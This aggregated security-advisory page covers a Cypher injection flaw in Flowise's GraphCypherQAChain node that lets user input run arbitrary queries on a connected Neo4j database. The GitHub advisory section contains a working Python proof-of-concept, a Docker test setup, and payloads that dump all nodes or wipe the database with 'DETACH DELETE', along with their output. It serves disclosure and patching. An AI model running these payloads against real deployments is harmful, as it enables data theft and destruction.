Flowise: Cypher Injection in GraphCypherQAChain

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Source published

23 Apr 2026 21:12:51 UTC

Source modified

24 Apr 2026 18:19:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Source published

Apr 23, 2026, 9:12:51 PM (timezone not stated)

Source modified

Apr 24, 2026, 6:19:51 PM (timezone not stated)

Observed here

28 Oct 2026 05:07:38 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 4.0 · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. This vulnerability is fixed in 3.1.0.

Source published

23 Apr 2026 22:16:38 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 10:10:07 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## Summary The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion. ## Vulnerability Details | Field | Value | |-------|-------| | Affected File | `packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts` | | Affected Lines | 193-219 (run method) | ## Prerequisites To exploit this vulnerability, the following conditions must be met: 1. **Neo4j Database**: A Neo4j instance must be connected to the Flowise server 2. **Vulnerable Chatflow Configuration**: - A chatflow containing the **Graph Cypher QA Chain** node - Connected to a **Chat Model** (e.g., ChatOpenAI) - Connected to a **Neo4j Graph** node with valid credentials 3. **API Access**: Access to the chatflow's prediction endpoint (`/api/v1/prediction/{flowId}`) <img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" /> ## Root Cause In `GraphCypherQAChain.ts`, the `run` method passes user input directly to the chain without sanitization: ```typescript async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> { const chain = nodeData.instance as GraphCypherQAChain // ... const obj = { query: input // User input passed directly } // ... response = await chain.invoke(obj, { callbacks }) // Executed without escaping } ``` ## Impact An attacker with access to a vulnerable chatflow can: 1. **Data Exfiltration**: Read all data from the Neo4j database including sensitive fields 2. **Data Modification**: Create, update, or delete nodes and relationships 3. **Data Destruction**: Execute `DETACH DELETE` to wipe entire database 4. **Schema Discovery**: Enumerate database structure, labels, and properties ## Proof of Concept ### poc.py ```python #!/usr/bin/env python3 """ POC: Cypher injection in GraphCypherQAChain (CWE-943) Usage: python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY> """ import argparse import json import urllib.request import urllib.error def post_json(url, data, headers): req = urllib.request.Request( url, data=json.dumps(data).encode("utf-8"), headers={**headers, "Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req, timeout=15) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") def main(): ap = argparse.ArgumentParser() ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000") ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain") ap.add_argument("--token", help="Bearer token / API key if required") ap.add_argument( "--injection", default="MATCH (n) RETURN n", help="Cypher payload to inject", ) args = ap.parse_args() payload = { "question": args.injection, "overrideConfig": {}, } headers = {} if args.token: headers["Authorization"] = f"Bearer {args.token}" url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}" try: status, body = post_json(url, payload, headers) print(body if body else f"(empty response, HTTP {status})") except urllib.error.HTTPError as e: print(e.read().decode("utf-8", errors="replace")) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main() ``` ### Test Environment Setup **1. Start Neo4j with Docker:** ```bash docker run -d \ --name neo4j-test \ -p 7474:7474 \ -p 7687:7687 \ -e NEO4J_AUTH=neo4j/testpassword123 \ neo4j:latest ``` **2. Create test data (in Neo4j Browser at http://localhost:7474):** ```cypher CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'}) CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'}) CREATE (a)-[:KNOWS]->(b) ``` **3. Configure Flowise chatflow** (see screenshot) ### Exploitation Steps ```bash # Data destruction (DANGEROUS) python poc.py --target http://127.0.0.1:3000 \ --flow-id <FLOW_ID> --token <API_KEY> \ --injection "MATCH (n) DETACH DELETE n" ``` ### Evidence **Cypher injection reaching Neo4j directly:** ``` $ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ... {"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n ^",...} ``` The error message comes from Neo4j, proving the injected Cypher is executed directly. **Data destruction confirmed:** ``` $ python poc.py ... --injection "MATCH (n) DETACH DELETE n" {"json":[],...} ``` Empty result indicates all nodes were deleted. **Sensitive data exfiltration:** ``` $ python poc.py ... --injection "MATCH (n) RETURN n" {"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...} ```

Source published

16 Apr 2026 21:54:26 UTC

Source modified

5 May 2026 16:11:51 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · HIGH